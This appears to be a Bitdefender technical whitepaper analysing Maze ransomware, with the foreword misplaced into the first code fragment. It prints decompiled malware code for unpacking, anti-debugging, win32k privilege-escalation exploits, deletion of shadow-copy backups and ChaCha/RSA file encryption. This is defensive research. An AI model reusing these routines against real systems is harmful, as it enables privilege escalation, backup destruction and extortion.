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 Unpacking

First stage
The sample we are looking at is e69a8eb94f65480980deaf1ff5a431a6, a 500KB, 32-bit PE executable, 
originally dropped as a random-name file in the low-privilege folder:

C:\Users\(username)\AppData\LocalLow\PJhUjWGD.tmp

As we load it in IDA Disassembler, we see a lot of data (yellow) and less code (blue) in the navigator bar. From this, we 
can tell some unpacking of that data will take place.

Following the WinMain function, we see an unorthodox way of calling another function, by using the 
CreateTimerQueueTimer API, to evade detection. While this timer function is quite obscure, we have 
seen it before, in Emotet and Hancitor malicious macro code. The following decompiled code shows how 
the function is imported here and abused, to execute target_function:

hModule = GetModuleHandleW(L”kernel32.dll”); 
if ( !hModule ) 
  return 0; 
strcpy(ProcName, “CreateTimerQueueTimer”); 
CreateTimerQueueTimer = GetProcAddress(hModule, ProcName); 
if ( CreateTimerQueueTimer ) 

Foreword
At the end of May 2019, a new family of ransomware called Maze emerged into the gaping void left by the demise of 
the GandCrab ransomware. 

Unlike run-of-the-mill commercial ransomware, Maze authors implemented a data theft mechanism to exfiltrate 
information from compromised systems. This information is used as leverage for payment and to transform an 
operational issue into a data breach.

In November 2019, the Bitdefender Active Threat Control team spotted spikes in reports of the ‘random’ process 
name being blocked from escalating privileges, by the Bitdefender Anti-Exploit module. We were curious about the 
executable, and how it tried to achieve System privileges.

Further investigation revealed that the process belongs to the Maze/ChaCha ransomware, so we took a deeper look. 
In this article, we attempt to shed some light on how it performs evasion and obfuscation, as well as the exploits used 
and its ransomware behavior.
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  result = CreateTimerQueueTimer(a1, a2, target_function, a4, a5, a6, a7);

The mentioned target_function contains the decryption code for the trailing data, as shown below:

nullsub(); 
CryptSetKey(ctx, aYouareKey, 128u, 128); 
CryptSetIV(ctx, aYouareIV); 
DecryptBytes(1, ctx, byte_4202D0, allocatedMemory, 0x11E0u); 
v4 = (int *)((char *)allocatedMemory + 0x11E0); 
nullsub(); 
CryptSetKey(ctx, aYouareKey, 128u, 128); 
CryptSetIV(ctx, aYouareIV); 
DecryptBytes(1, ctx, byte_4214B0, v4, 0x59E00u); 
LOBYTE(v8) = 1; 
ret = CreateThread(0, 0, allocatedMemory, lpParameter, 0, 0);

A total of 370 KB of shellcode are decrypted using the HC-128 algorithm, with fixed key and initialization vector. The 
shellcode is then executed as a new thread, in the second stage.

Second stage
In the second stage, the large shellcode is executed. IDA recognizes a little code at the beginning, while the rest is 
marked as data, which means more unpacking is expected.

The first thing the shellcode does is to import two functions: LoadLibraryA and GetProcAddress, using 
name hashing:

1000001C    mov     eax, [ebp+var_kernel32] 
1000001F    mov     [esp], eax 
10000022    mov     [esp+38h+var_34], 7C0DFCAAh ; “GetProcAddress” 
1000002A    call    ImportByHash 
1000002F    sub     esp, 8 
10000032    mov     [ebp+var_GetProcAddress], eax 
10000035    mov     eax, [ebp+var_kernel32] 
10000038    mov     [esp], eax 
1000003B    mov     [esp+38h+var_34], 0EC0E4E8Eh ; “LoadLibraryA” 
10000043    call    ImportByHash 
10000048    sub     esp, 8 
1000004B    mov     [ebp+var_LoadLibraryA], eax

Using these two primitives (LoadLibraryA and GetProcAddress), the shellcode imports a few other 
functions used later: IsBadReadPtr, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, 
ExitThread.

These functions are used to perform a reflective DLL loading, using the large chunk of data after the shellcode. A 
module loaded this way will not appear in OS structures, meaning it will be hidden from process module list.

10000143    call    $+5 
10000148    mov     esi, esp 
1000014A    mov     eax, [esi] 
1000014C    sub     eax, 1D1148h 
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10000152    add     eax, 1D21E0h    ; eax = 100011E0, Embedded_DLL 
10000158    pop     ecx 
10000159    mov     [esp+4], eax 
1000015D    call    Load_Embedded_DLL 
... 
100011E0    Embedded_DLL db ‘M’ 
100011E1                 db ‘Z’ 
100011E2                 db  90h 
100011E3                 db    0 
100011E4                 db    3 
100011E5                 db    0

Third stage
In the third stage, the main functionality of the ransomware relies on the hidden DLL loaded by the shellcode 
at second stage. The code is highly obfuscated, with a few tricks to make reverse engineering harder.

First, the address of the kernel32.dll string is put on the stack using a call loc_10021ADF instead of do-
ing push 10021AD2. While the result at runtime is the same, disassemblers will try to interpret the respective 
string as code and fail to find the correct continuation.

10021AC3    push    4F6h 
10021AC8    push    359D02F0h 
10021ACD    call    loc_10021ADF 
------------------------------------------------------------------- 
10021AD2    db ‘kernel32.dll’,0         ; data between instructions 
------------------------------------------------------------------- 
10021ADF    push    offset loc_10021B4D

Second, another trick is used using jz/jnz pair of instructions. Depending on the value of the Zero 
flag, the execution will follow the first or second branch, so there is a guaranteed jump either way. 
However, disassemblers do not perfectly emulate the execution, and missing the fact that instructions are 
unreachable, will continue disassembling garbage code (at 10021AEC), often invalid instructions, or missing 
the start offset of legit instructions later:

10021AE4    jz      loc_10001520 
10021AEA    jnz     short loc_10021AF0 
------------------------------------------------------------------- 
10021AEC    rol     byte ptr [ecx], 0   ; garbage/invalid code 
10021AEF    db    0 
------------------------------------------------------------------- 
10021AF0    jnz     short loc_10021AFC 
10021AF2    jz      short loc_10021AF8  ; unreachable jump 
------------------------------------------------------------------- 
10021AF5    sbb     al, [eax]           ; garbage/invalid code 
10021AF7    db    0 
10021AF8    xor     eax, [ecx] 
10021AFA    db    0 
10021AFB    db    0 
------------------------------------------------------------------- 
10021AFC    jnz     loc_10001520
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Some jz are decoy, when reached from a jnz branch. The jump at 10021AF2 will never be executed, 
because the Zero flag is guaranteed to be unset, as we have arrived there through a jnz from 1021AEA. 
So the jz/jnz target is one and the same: loc_10001520 which, we will see, is a dynamic import utility 
function.

Because of these tricks, the file is poorly disassembled, and the IDA bar shows very little code (blue), a lot of 
unresolved opcodes (gray) and data (yellow):

 Imports deobfuscation

Before proceeding with deobfuscating instructions, we must take care of imports. Most static imports 
of this DLL are used by garbage code, so they are unused imports. The relevant imports are dynamic, 
obtained at runtime using the “name hashing” method. The hash on import name is passed as two xor-ed 
parameters to the import function, along with module name:

10021AC3    push    4F6h         ; xor key 
10021AC8    push    359D02F0h    ; xored hash of ‘CreateThread’ 
10021ACD    call    loc_10021ADF ; push address of ‘kernel32.dll’ 
------------------------------------------------------------------- 
10021AD2    db ‘kernel32.dll’,0 
------------------------------------------------------------------- 
10021ADF    push    offset loc_10021B4D ; return target after call 
10021AE4    jmp     ImportByHash        ; call ImportByHash utility

The module name is passed using “call over the string” method, which breaks IDA code-flow tracking. Also push/jmp is 
used instead of call. If we remove these tricks, the above code is equivalent to the following:

10021AC3    push    4F6h            ; xor key 
10021AC8    push    359D02F0h       ; xored hash of ‘CreateThread’ 
10021ACD    push    “kernel32.dll” 
10021AD2    call    ImportByHash    ; import function by hash 
                                    ; returns CreateThread in eax 
10021AD8    jmp     loc_10021B4D    ; return target after call

We know the imported functions, so we can replace the dynamic imports with static ones, then jump directly to 
continuation:

10021AC3    mov     eax, CreateThread 
10021AC8    jmp     loc_10021B4D

To find the imported functions by hash, we created a new executable that loads this DLL, and calls the 
import function at 10001520 each time, for all hashes gathered from scanning the DLL for the push/push/
call-over-string pattern.

Having a list of all import names, we added them as static imports in a new imports section. This way we 
can access them directly. Finally, our IDA extension replaced the pattern with the equivalent mov eax, 
[import] and jmp continuation instructions.



Bitdefender Whitepaper
A Technical Look into Maze Ransomware

7

 Code-flow deobfuscation

For IDA to correctly disassemble and decompile the malware code, we need to revert the control-flow 
obfuscation, so that there are no invalid or garbage instructions. To do that, we need to replace all 
occurrences of jz/jnz pair with jz/jmp instead. Making the second jump absolute will help IDA follow the 
correct code flow, and the unreachable garbage opcodes will not be disassembled.

We can try fixing the jump issue using Python or IDC scripting capabilities offered by IDA. Searching for 
the jump opcodes could be performed with the following script:

for addr in range(addr_start, addr_end): 
    bytes = bytearray(get_bytes(addr, 10)) 
    if bytes[0:2] == bytearray((0x0F,0x84)) and bytes[6:8] == bytearray((0x0F,0x85)): 
        print(‘Fixing long/long jz/jnz trick at %X’ % addr) 
        patch_byte(addr+6, 0x90)  # padding 
        patch_byte(addr+7, 0xE9)  # unconditional JMP

This works well for jz/jnz combos where both jumps are long (5+5 bytes), or there is one long and one 
short (5+2 bytes). But when both jumps are short (2+2 bytes, opcodes 74 xx 75 xx), this pattern is too 
weak and may match in the middle of other instructions, or even data, for example:

10039538                db  74h ; t    ; no jz/jnz here 
10039539                db    0 
1003953A   unk_1003953A db  75h ; u 
1003953B                db  70h ; p 
1003953C                db  64h ; d 
1003953D                db  61h ; a 
1003953E                db  74h ; t 
1003953F                db  65h ; e 
10039540                db    0

Here at 10039538 we can see a sequence of 74 xx 75 xx which is not a jz/jnz combo, but part of 
some strings (signout, update). Obviously, we don’t want to replace these cases, so we must find another 
solution.

Simply using IDA scripts does not seem to be enough, as we want to make replacements only at addresses where IDA 
reaches with disassembling. This applies only to addresses reached by its emulation (following jumps, calls, etc).

Inspired by Rolf Rolles’ article, we decided to write an IDA processor module extension, which would supply us with a 
callback at every address IDA tries to disassemble.

def ev_ana_insn(self, insn): 
    addr = insn.ea 
    b = bytes(idaapi.get_bytes(addr, 30)) 
    # check for short jz/jnz combo, replace with jz/jmp 
    if b[0] == 0x74 and b[2] == 0x75: 
        jz_target = addr+1 + self.get_signed_byte(b, 1) 
        jnz_target = addr+4 + self.get_signed_byte(b, 3) 
        jnz_target = self.follow_jnz(jnz_target) 
        print(‘Fixing Jz/Jnz (1) at %x, jz_target=%x, jnz_target=%x’ % \ 
                (addr, jz_target, jnz_target)) 
        self.asm_jmp_dword(addr+2, jnz_target) 
        return False 
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    # check other jz/jnz combos...

Here, the ev_ana_insn method of our class derived from idaapi.IDP_Hooks is called by IDA before 
evaluating every instruction, so we look for various jz/jnz combinations and replace second jump with an 
absolute one. This gives us a bit more visibility, in the sense that IDA will correctly follow jumps, and know 
where to disassemble next.

Another trick is impeding IDA from recognizing end of functions and correctly calculate stack variable 
offsets. Some ret instructions are replaced with equivalent (add esp,4 then jmp [esp-4]) and stack 
operations are replaced by increments/decrements, which are not tracked by IDA stack variable offset 
calculator:

10002EC8    inc     eax 
10002EC9    jnz     short loc_10002EC0 
10002ECB    mov     eax, ecx 
10002ECD    inc     esp               ; 
10002ECE    inc     esp               ; 
10002ECF    inc     esp               ; equivalent to RET 
10002ED0    inc     esp               ; 
10002ED1    jmp     dword ptr [esp-4] ; 

In this case, our IDA extension will replace the commented instructions with a ret. This way the function 
will be correctly recognized, and work with stack offsets will be identified as work with local variables, 
denoted as var_xx.

In another trick, there’s push address then jmp function, which is actually a call function then 
jmp address. Without the call instruction, IDA does not mark that respective address as a function. Also, 
if that’s an import, a comment will not be added:

10021B4D    push    offset loc_10021B68 ; equivalent to CALL EAX 
10021B52    jmp     eax                 ; ...and JMP loc_10021B68

When eax is a dynamic import that we replaced with equivalent code (described in the previous chapter), 
IDA will correctly follow the eax value and recognize the call to import. The CreateThread comment is 
automatically set by IDA:

10021B4D    call    eax ; CreateThread 
10021B4F    jmp     short loc_10021B68

Also, decompilation is now working correctly, with the CreateThread import used directly, and parameters 
identified:

if ( fdwReason == 1 ) 
{ 
  hInstance = hinstDLL; 
  CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_10036FD0, 0, 0, 0); 
}

Decompilation is helpful when dealing with spaghetti code, as scattered chunks of code are reunited into continuous 
blocks of C-like source.

Fixing the code-flow obfuscation tricks enabled decompilation and, as a result, we have obtained high-level visibility. 
After a few more tweaks, the IDA navigator bar shows complete recognition of code, with blue. The rest is data, used 
later, as detailed in the next chapter.
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 Evasion techniques

Some initial checks are performed before moving forward. Analysis tools are identified by their ADLER-32 checksum on 
process name, and the following are terminated, if running:

ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, 
procmon.exe, procexp.exe, procmon64.exe, procexp64.exe

Also, an important function is disabled, namely DbgUiRemoteBreakin, which is necessary for debugging 
the process. After the function is located, it is patched with a single RET instruction:

// locate DbgUiRemoteBreakin in ntdll 
ntdll = GetModuleHandleA(aNtdllDll); 
funcDbgUiRemoteBreakin = j_GetProcAddress(ntdll, ProcName); 
if (funcDbgUiRemoteBreakin) 
{ 
    // remove page protection 
    address = funcDbgUiRemoteBreakin; 
    flNewProtect = 0; 
    if (j_VirtualProtect(funcDbgUiRemoteBreakin, 1u, PAGE_EXECUTE_READWRITE, 
&flNewProtect)) 
    { 
        // patch with RET 
        *address = 0xC3; 
        // restore protection 
        j_VirtualProtect(address, 1u, flNewProtect, &flOldProtect); 
    } 
}

 Privilege escalation

Addressing our original curiosity about privilege escalation alerts, we found two exploits stored encrypted in the data 
section, unpacked and executed at runtime.

Exploiting CVE-2016-7255
The first exploit we found targets the CVE-2016-7255 vulnerability in win32k.sys. The vulnerability was 
described in detail by TrendMicro, then a patch analysis was made by researchers at McAffee.

The exploit comes as a DLL image, encrypted using fixed-key, 8-round ChaCha algorithm, then mapped 
using reflection. There are two versions of the DLL, one for 32-bit, one for 64-bit platforms. After the DLL is 
mapped, the single exported name EP is obtained. After the function is called, the privilege level is checked, 
as we can see in the decompiled code:

encryptedPayload = &addr_encryptedDll_x86; 
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if (*(_DWORD *)(a2 + 0x28) == 64)         // check OS platform 
    encryptedPayload = &addr_encryptedDll_wow64; 
payloadLength = ((*(_DWORD *)(a2 + 0x28) == 64) << 11) | 0x2400; 
this[2] = payloadLength;                  // x86:2400, wow64:2C00 
this[1] = AllocateRWmem(payloadLength); 
ChaCha8_Transform(v3, (int)encryptedPayload); 
module = MapDllByReflection((_WORD *)v3[1]); 
PrivEscFunc = (void(*)(void))GetExportedFunction((int)module, “EP”); 
if (PrivEscFunc) 
{ 
    PrivEscFunc();   // raise privileges 
    j_Sleep(2000u); 
    oldIntegrityLevel = *(_DWORD *)(a2 + 4); 
    newIntegrityLevel = GetProcessIntegrityLevel();  // check privileges 
    *(_DWORD *)(a2 + 4) = newIntegrityLevel; 
    isElevated = newIntegrityLevel != oldIntegrityLevel; 
}

We will have a look on the DLL for 64-bit platforms. It is actually a 32-bit image, targeting the WoW64 
subsystem. The 32-bit code goes to 64-bit mode to execute system calls. This is done with the Heaven’s 
Gate method, changing the code segment to 0x33, using the RETF instruction. Going back to 32-bit is done 
using the 0x23 segment instead. This way, direct system calls can be executed, from WoW64 code:

10002385  ; int __stdcall perform_syscall(int, int, int, int, int) 
10002385  perform_syscall proc near 
[...] 
10002394    push    33h                       ; cs=33 for 64-bit 
10002396    call    $+5                       ; push continuation address 
1000239B    add     dword ptr [esp], 5        ; add delta 
1000239F    retf                              ; switch to 64-bit mode 
--------------------------------------------------------------------------- 
100023A0    xor     r9d, r9d                  ; 64-bit code starts 
100023A3    mov     eax, [rbp+arg_1C] 
100023A7    xor     rcx, rcx 
100023AA    mov     ecx, [rbp+arg_20]         ; pass arguments 
100023AE    mov     r10, rcx 
100023B1    xor     rdx, rdx 
100023B4    mov     edx, [rbp+arg_24] 
100023B8    mov     r8, [rbp+arg_28] 
100023BD    sub     rsp, 100h 
100023C4    syscall                           ; <-- syscall, eax=func_id 
100023C6    add     rsp, 100h 
100023CD    call    $+5 
100023D2    mov     [rsp+8+var_4], 23h        ; cs=23 for 32-bit 
100023DA    add     [rsp+8+var_8], 0Dh 
100023DE    retf                              ; switch to 32-bit mode 
--------------------------------------------------------------------------- 
100023DF    xor     eax, eax                  ; back to 32-bit mode 
[...] 
100023E7    retn    14h

This method is used to perform NtUserSetWindowLongPtr system calls, which are necessary for  
exploitation.
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Another function needed for exploitation is HMValidateHandle, which is an internal function of user32.
dll, not publicly exported, that leaks kernel information. To locate this function, the exploit follows a 
reference to it, from the IsMenu export:

// get address of IsMenu export 
user32_module = LoadLibraryA(“USER32.dll”); 
IsMenu = GetProcAddress(user32_module, “IsMenu”); 
offset = 0; 
// scan function body 
while ( 1 ) 
{ 
    // check for “mov dl, 2” 
    if ( *(_WORD *)((char *)IsMenu + offset) == 0x2B2 ) 
    { 
        offset += 2; 
        // check for “call HMValidateHandle” 
        if ( *((_BYTE *)IsMenu + offset) == 0xE8 ) 
            break; // found 
    } 
    if ( (unsigned int)++offset >= 0x30 ) 
    { 
        v3 = HMValidateHandle; // not found 
        goto LABEL_7; 
    } 
} 
// compute target of call 
v4 = offset + *(_DWORD *)((char *)IsMenu + offset + 1); 
v3 = (FARPROC)((char *)IsMenu + v4 + 5); 
// save address of HMValidateHandle 
HMValidateHandle = (FARPROC)((char *)IsMenu + v4 + 5);

As part of exploitation, we can see the WS_CHILD style being applied to the created window, then 
NtUserSetWindowLongPtr system call being made, with the GWLP_ID parameter. Next, VK_MENU 
keyboard events are being simulated, which will trigger the corruption in xxxNextWindow. This confirms 
the exploit is targeting the CVE-2016-7255 vulnerability:

style = GetWindowLongW(::hwnd, GWL_STYLE); 
SetWindowLongW(::hwnd, GWL_STYLE, style | WS_CHILD); 
perform_syscall(id_NtUserSetWindowLongPtr, (int)::hwnd, GWLP_ID, v21, SHIDWORD(v21)); 
keybd_event(VK_MENU, 0, 0, 0); 
keybd_event(VK_ESCAPE, 0, 0, 0); 
keybd_event(VK_ESCAPE, 0, 2u, 0); 
keybd_event(VK_MENU, 0, 2u, 0);

After obtaining kernel read/write primitive, the actual elevation is obtained by replacing the current process token with 
the system process token in the EPROCESS kernel structure:

// enumerate EPROCESS structures, find system process 
do { 
  v8 = dword_100040CC; 
  v9 = ReadFromKernel(__PAIR64__(v3, v4) + (unsigned int)dword_100040CC); 
  v3 = (v9 - (unsigned int)v8) >> 32; 
  v4 = v9 - v8; 
} 
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while ( (unsigned int)ReadFromKernel(v9 - 8) != 4 );  // PID=4, system 
// read system process token 
v10 = ReadFromKernel(__PAIR64__(v3, v4) + (unsigned int)dword_100040D0); 
v11 = v10; 
v12 = (v10 & 0xFFFFFFF0) - 48; 
v13 = __CFADD__(v10 & 0xFFFFFFF0, -48) + HIDWORD(v10) - 1; 
HIDWORD(v16) = __CFADD__(v10 & 0xFFFFFFF0, -48) + HIDWORD(v10) - 1; 
LODWORD(v16) = (v10 & 0xFFFFFFF0) - 48; 
v14 = ReadFromKernel(v16); 
// write system token to current process 
WriteToKernel(__SPAIR64__(v13, v12), v14 + 10, (v14 + 10) >> 32); 
WriteToKernel(v18, v11, SHIDWORD(v11));

Exploiting CVE-2018-8453
The second exploit is a newer privilege escalation exploit targeting the CVE-2018-8453 vulnerability in 
win32k.sys. The vulnerability has been described by Kaspersky, patch analysis was made by 360A-TEAM 
in their article, and was also analyzed by QiAnXin TI Center in their write-up.

Stored in the data section, the exploit shellcode is decrypted using the same key and ChaCha8 algorithm as the other 
exploit, then executed with the target process id as parameter:

if (j_GetVersionExA(&ver) && 
    ver.dwMajorVersion != 10 &&                           // no windows 10 
    (ver.dwMajorVersion != 6 || ver.dwMinorVersion != 2)) // no windows 8 
{ 
    // set shellcode size 
    this[2] = 0x9600; 
    // allocate RWX memory for shellcode 
    shellcode_addr = VirtualAlloc(0, 0x9600u, MEM_RESERVE|MEM_COMMIT, PAGE_
EXECUTE_READWRITE); 
    this[1] = (int)shellcode_addr; 
    if ( shellcode_addr ) 
    { 
        // decrypt shellcode 
        ChaCha8_SetKey(ctx, “37432154789765254678988765432123”, 256); 
        ChaCha8_SetNonce(ctx, “09873245”); 
        j_ChaCha8_Decrypt((int)ctx, (int)&EncryptedShellcode, this[1], 
this[2]); 
        shellcode_func = (int (__stdcall *)(DWORD))this[1]; 
        // get process ID 
        pid = j_GetCurrentProcessId(); 
        // call shellcode function with PID 
        result = shellcode_func(pid); 
        // [...] 
    } 
}

The shellcode targets both 32-bit and 64-bit OS platforms. The shellcode is 32-bit, but when running in WoW64 
subsystem, it employs the same Heaven’s Gate technique to execute 64-bit code, when necessary:
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01005E01    push    0CB0033h    ; push cs=33 on stack, 64-bit selector 
01005E06    call    01005E04    ; push next address, jmp to RETF (CB) 
 
01005E04    retf                ; switch to 64-bit mode at 10005E0B 
 
01005E0B    push    r13         ; 64-bit code below 
01005E0D    mov     r13, rsp     
01005E10    mov     rax, gs:30h 
01005E19    mov     rsp, [rax+8] 
[...] 
01005EB1    mov     rsp, r13 
01005EB4    pop     r13 
01005EB6    retf                ; switch back to 32-bit mode

Depending on the Windows version and platform, system calls are achieved in three different ways:

01006811    mov     ecx, ds:winver_index    ; check stored Windows variant index 
01006817    cmp     ecx, 10h 
0100681A    jnb     short loc_100682F 
0100681C    mov     edx, 7FFE0300h          ; fixed address of KiFastSystemCall 
01006821    cmp     ecx, 2 
01006824    jb      short loc_100682B 
01006826    cmp     ecx, 4 
01006829    jnz     short loc_100682D 
loc_100682B: 
0100682B    jmp     edx                 ; use fixed address of KiFastSystemCall 
loc_100682D: 
0100682D    jmp     dword ptr [edx]     ; use provided address of KiFastSystemCall 
loc_100682F: 
0100682F    mov     edx, esp            ; perform syscall directly 
01006831    sysenter 
01006833    retn

To perform the exploit, the following functions are hooked, by patching the KernelCallbackTable: 

• __ClientLoadLibrary

•  __ClientCallWinEventProc 

•  __fnHkINDWORD

•  __fnDWORD

•  __fnNCDESTROY

•  __fnINLPCREATESTRUCT

Inside the __fnDWORD hook, we can see a WM_SYSCOMMAND message being sent to the ScrollBar control, then 
the parent window is destroyed:

DWORD __stdcall Hook__fnDWORD(int msg) 
{ 
    ... 
    if ( v1 == WM_FINALDESTROY ) 
    { 
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      v4 = vars[62]; 
      *((_BYTE *)vars + 332) = 2; 
      NtUserSetActiveWindow(v4); 
      SendMessageA((HWND)vars[62], WM_SYSCOMMAND, SC_KEYMENU, 0); 
      NtUserDestroyWindow(vars[64]); 
      *((_BYTE *)vars + 332) = 4; 
    } 
    ... 
}

Destroying the main window leads to __fnNCDESTROY callback, where the SetWindowFNID system call is 
used to replace the FNID of that window from FNID_FREED to a valid value (FNID_BUTTON), resulting in a 
double-free:

_WORD *__stdcall Hook__fnNCDESTROY(_DWORD **a1) 
{ 
    ... 
    if ( v8 == *(v4 + 0x104) && *result == FNID_FREED && !*(v4 + 0x144) ) 
    { 
        result = syscall_SetWindowFNID (*(v4 + 0xF4), FNID_BUTTON); 
        *(_DWORD *)(v4 + 0x144) = result; 
        v1 = 1; 
    } 
    ... 
}

This confirms that this exploit targets the CVE-2018-8453 vulnerability, and eventually obtains SYSTEM 
privileges for the running process.

 Ransomware activity

Once elevated privileges are obtained, the ransomware activity is performed without access rights limitations.

At startup, a Mutex object is created to avoid running multiple instances at the same time. The mutex object 
name is Global\%s, where %s is hex hash on the computer fingerprint.

The fingerprint string is built using the following encoded features:

• Current user name

• Computer name

• Windows product name

• Process integrity level

• Installed Anti-Virus name

• Machine role

• Number of drives

• Connected shared folders
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• User language

• System language

• System uptime

Backup deletion
Before enumerating files, any existing Windows backups are destroyed, namely the Volume Shadow Copies. This is 
done using the Windows Management Infrastructure:

// find shadow copies using WMI 
if (CoSetProxyBlanket((IUnknown *)pSvc, 0xAu, 0, 0, 3u, 3u, 0, 0) >= 0 && 
    (pEnum = 0, pSvc->lpVtbl->ExecQuery(pSvc, aWql, 
        “select * from Win32_ShadowCopy”, 48, 0, &pEnum) >= 0)) 
{ 
    // enumerate found shadow copies 
    uRet = 0; 
    pEnum->lpVtbl->Next(pEnum, WBEM_INFINITE, 1, &pClsObj, &uRet); 
    do { 
        ... 
        objectPath = (OLECHAR *)AllocateRWmem(v7); 
        wsprintfW(objectPath, “Win32_ShadowCopy.ID=’%s’”, lpID); 
 
        // delete shadow copy 
        v9 = pSvc->lpVtbl->DeleteInstance(pSvc, objectPath, 0, pContext, 0); 
         
        // go to next item 
        uRet = 0; 
        pEnum->lpVtbl->Next(pEnum, -1, 1, &pClsObj, &uRet); 
        ... 
    } 
    while (uRet); 
}

File scanning
All drives are searched for files to encrypt, including connected network shared folders. The encrypted file names have 
a new, random extension. The following file names and types are excluded from encryption:

• *.lnk
• *.exe
• *.sys
• *.dll
• autorun.inf
• boot.ini
• desktop.ini
• ntuser.dat
• iconcache.db
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• bootsect.bak
• ntuser.dat.log
• thumbs.db
• Bootfont.bin

All other files are encrypted, with random extensions in the same folder:

Folders containing certain words in their names will undergo additional processing, probably accessed later for data 
exfiltration:

• sql
• classified
• secret

After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware 
message:
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File encryption
Encrypted files have a 4-byte signature at the end of file, containing hex bytes 66 11 61 66, in order to mark the 
files as already processed.

Before content encryption, a session key is generated for each file, using PRNG output from Microsoft Crypto API:

// open file 
hFile = j_CreateFileW(lpFileName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, 0, 
CREATE_ALWAYS|CREATE_NEW, 0, 0); 
fileObj->handle = hFile; 
 
if ( hFile != (HANDLE)INVALID_HANDLE_VALUE 
     // check if already encrypted 
  && !IsAlreadyEncrypted(fileObj) 
  && (fileObj[1].buffer = 0, 
      key = (BYTE *)fileObj->key_and_nonce, 
      provider = fileObj->obj_47720->vtable->MsCryptoGetProv(fileObj->obj_47720), 
      // generate 256-bit key 
      j_CryptGenRandom(provider, 32u, key)) 
  && (nonce = (BYTE *)fileObj->key_and_nonce + 32, 
      prov = fileObj->obj_47720->vtable->MsCryptoGetProv(fileObj->obj_47720), 
      // generate 64-bit nonce 
      j_CryptGenRandom(prov, 8u, nonce)) ) 
{ 
  // encrypt using generated keys 
  result = EncryptFile(fileObj); 
}

The session key is then used to encrypt one file, using the ChaCha algorithm in 8 rounds:

// use generated key and nonce 
ChaCha8_SetKeyAndNonce(fileObj->ctx, fileObj->k->key, 256, fileObj->k->nonce, 64); 
[...] 
// read 1MB at once 
for ( i = j_ReadFile(v1->handle, v4, 0x100000u, &nNumberOfBytesToWrite[1], 0); 
      !i || nNumberOfBytesToWrite[1]; 
      i = j_ReadFile(v1->handle, v4, 0x100000u, &nNumberOfBytesToWrite[1], 0) ) 
{ 
  // encrypt chunk 
  ChaCha8_Transform(v1->ctx, (int)v4, nNumberOfBytesToWrite[1], (int)v5); 
  liDistanceToMove.QuadPart = -(__int64)nNumberOfBytesToWrite[1]; 
  j_SetFilePointerEx(v1->handle, liDistanceToMove, 0, SEEK_CUR); 
  // write chunk back to file 
  j_WriteFile(v1->handle, v5, nNumberOfBytesToWrite[1], &NumberOfBytesWritten, 0); 
}
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Encryption keys
The key generation and file encryption looks like this:

The computer key is RSA-2048, generated at the initialization phase:

// initialize MS Crypto API 
ret = j_CryptAcquireContextW(&phProv, 0, “Microsoft Enhanced Cryptographic Provider 
v1.0”, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); 
  if ( !ret ) 
    return 0; 
hKey = 0; 
// generate exportable RSA-2048 key 
if ( j_CryptGenKey(phProv, CALG_RSA_KEYX, KEY_2048_BITS|CRYPT_EXPORTABLE, &hKey) ) 
{ 
  keyLen = 0; 
  // get public key length 
  if ( j_CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, 0, &keyLen) ) 
  { 
    _keyLen = keyLen; 
    OutPubKey[1] = keyLen; 
    pubKey = (BYTE *)AllocateRWmem(_keyLen + 1); 
    *OutPubKey = (DWORD)pubKey; 
    // export public key 
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    if ( j_CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, pubKey, &keyLen) ) 
    { 
      privLen = 0; 
      // get private key length 
      if ( j_CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, 0, &privLen) ) 
      { 
        if ( privLen == 0x494 ) 
        { 
          OutPrivKey[1] = 0x494; 
          privKey = (BYTE *)AllocateRWmem(0x494u); 
          *OutPrivKey = (DWORD)privKey; 
          // export private key 
          _ret = j_CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, privKey, &privLen); 
[...]

The generated session keys are written towards the end of the processed file (starting at offset -264), 
encrypted with the computer key, using Microsoft Crypto provider PROV_RSA_FULL:

// copy session key to trailing data 
kn = (QWORD *)v1->key_and_nonce; 
trailing_data[4] = kn[4]; 
trailing_data[3] = kn[3]; 
trailing_data[2] = kn[2]; 
v3 = *kn; 
trailing_data[1] = kn[1]; 
trailing_data[0] = v3; 
 
// encrypt trailing data using Microsoft Crypto API 
if ( !v1->obj_47720->vtable->MsCryptEncrypt( 
        (HCRYPTKEY *)v1->obj_47720, 
        (BYTE *)trailing_data, 
        (DWORD *)&forty, 
        256, 
        0, 
        0) ) 
  return 0; 
 
// write trailing data (encrypted keys) to the end of file 
j_SetFilePointerEx(v1->handle, 0, 0, SEEK_END); 
v7 = j_WriteFile(v1->handle, trailing_data, 264u, &NumberOfBytesWritten, 0);

The private computer key is then encrypted using a so-called “master” public key:

PUBLICKEYSTRUC 
{ 
  BYTE   bType = PUBLICKEYBLOB; 
  BYTE   bVersion = 2; 
  WORD   reserved = 0; 
  ALG_ID aiKeyAlg = CALG_RSA_KEYX; 
} 
 
06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 BD 27 97 44  
6A E3 05 38 56 BA D9 4A 87 94 4D D2 DE 89 71 96 54 D4 07 0B 13 B8 A4 BB  
68 09 54 D9 D4 7B 6D 36 5A C0 54 9F 60 08 85 21 5B 05 9E 7E 7D 37 E7 E1  
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94 C7 F6 C8 AC 40 72 C0 E6 61 2D 5E 11 0B 3D 58 17 3E 15 3C 11 D9 BF 9D  
1E B0 6B A0 4A C5 CE 92 D8 9C 18 A3 6A 81 A5 B6 C5 AE 85 32 52 60 8D 36  
67 6C 23 73 8A DA D8 F6 16 73 FC 02 C0 78 3B 2F 1A A6 AF 6B 74 D2 35 10  
F8 CA C2 7C 82 07 62 68 23 A8 99 0C 08 B5 CF B1 D9 EB 15 3B BF 0C BC A0  
A4 6B 92 BC 6A 68 CD A3 41 9E F0 A7 E1 6D BE 97 22 08 23 A7 DA 36 24 E3  
18 8A 11 A1 44 83 A4 0B 06 8D 9B CE 63 77 E3 39 FA 86 08 99 ED FC 1A 20  
33 99 E5 BD A1 BE 70 AC 49 BD 28 94 17 EE 2D F7 4F 15 62 C6 3F 3B E4 1B  
